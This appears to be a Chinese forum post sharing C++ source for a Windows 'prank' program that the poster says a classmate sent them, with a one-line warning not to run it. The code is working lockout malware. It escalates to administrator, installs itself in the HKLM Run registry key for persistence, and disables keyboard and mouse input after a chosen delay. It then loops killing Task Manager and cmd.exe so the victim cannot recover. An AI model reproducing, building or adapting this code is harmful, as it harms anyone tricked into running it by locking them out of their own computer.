rt,同学发给我的恶搞程序,最好不要直接F11
#include<bits/stdc++.h>
#include<windows.h>
#include<tchar.h>
using namespace std;
int lock(bool lockb=false){
HINSTANCE hIn = NULL;
hIn = LoadLibrary("user32.dll");
if(hIn){
BOOL (_stdcall *BlockInput)(BOOL bFlag);
BlockInput = (BOOL (_stdcall *)(BOOL bFlag)) GetProcAddress(hIn, "BlockInput");
if (BlockInput) return BlockInput(lockb);
else cout<<"调用失败,无法加载BlockInput函数";
}else cout<<"调用失败,无法包含user32.dll";
return -1;
}
bool GetPrivilege()// 提权
{
CreateEvent(NULL, FALSE, FALSE, _T("{29544E05-024F-4BC1-A272-452DBC8E17A4}")); //用来创建或打开一个命名的或无名的事件对象
if (ERROR_SUCCESS != GetLastError())
{
return false;
}
else
{
TCHAR strPath[MAX_PATH] = { 0 };
HMODULE hModule = NULL;
GetModuleFileName(hModule, strPath, MAX_PATH);
SHELLEXECUTEINFO sei = { sizeof(SHELLEXECUTEINFO) };
sei.lpVerb = TEXT("runas");
sei.lpFile = strPath;
sei.nShow = SW_SHOWNORMAL;
if (!ShellExecuteEx(&sei)) //对指定应用程序运行某个操作
{
DWORD dwStatus = GetLastError();
if (dwStatus == ERROR_CANCELLED)
{
return false;
}
else if (dwStatus == ERROR_FILE_NOT_FOUND)
{
return false;
}
}
}
Sleep(100); // 防止退出的太早
exit(0); //退出没有管理员权限的进程
}
void HKRunator()
{
char programName[MAX_PATH] = { 0 };
DWORD dwRet = GetModuleFileName(NULL, (LPSTR)programName, MAX_PATH);
HKEY hKey = NULL;
DWORD rc;
rc = RegCreateKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,NULL,REG_OPTION_NON_VOLATILE,KEY_WOW64_64KEY | KEY_ALL_ACCESS,NULL,&hKey,NULL);
if (rc == ERROR_SUCCESS)
{
rc = RegSetValueEx(hKey,"MyProgramName",0,REG_SZ,(const BYTE*)programName,strlen(programName));
if (rc == ERROR_SUCCESS)
{
RegCloseKey(hKey);
}
}
}
int main()
{
GetPrivilege();
HKRunator();
printf("你想多久以后电脑重启?\n");
int n;
cin>>n;
lock(true);
for(int i=1;i<=n*60;i++)Sleep(1000);
while(1)
{
system("taskkill -F -IM svghost.exe");
system("taskkill -f -im Taskmgr.exe");
system("taskkill -f -im cmd.exe");
}
}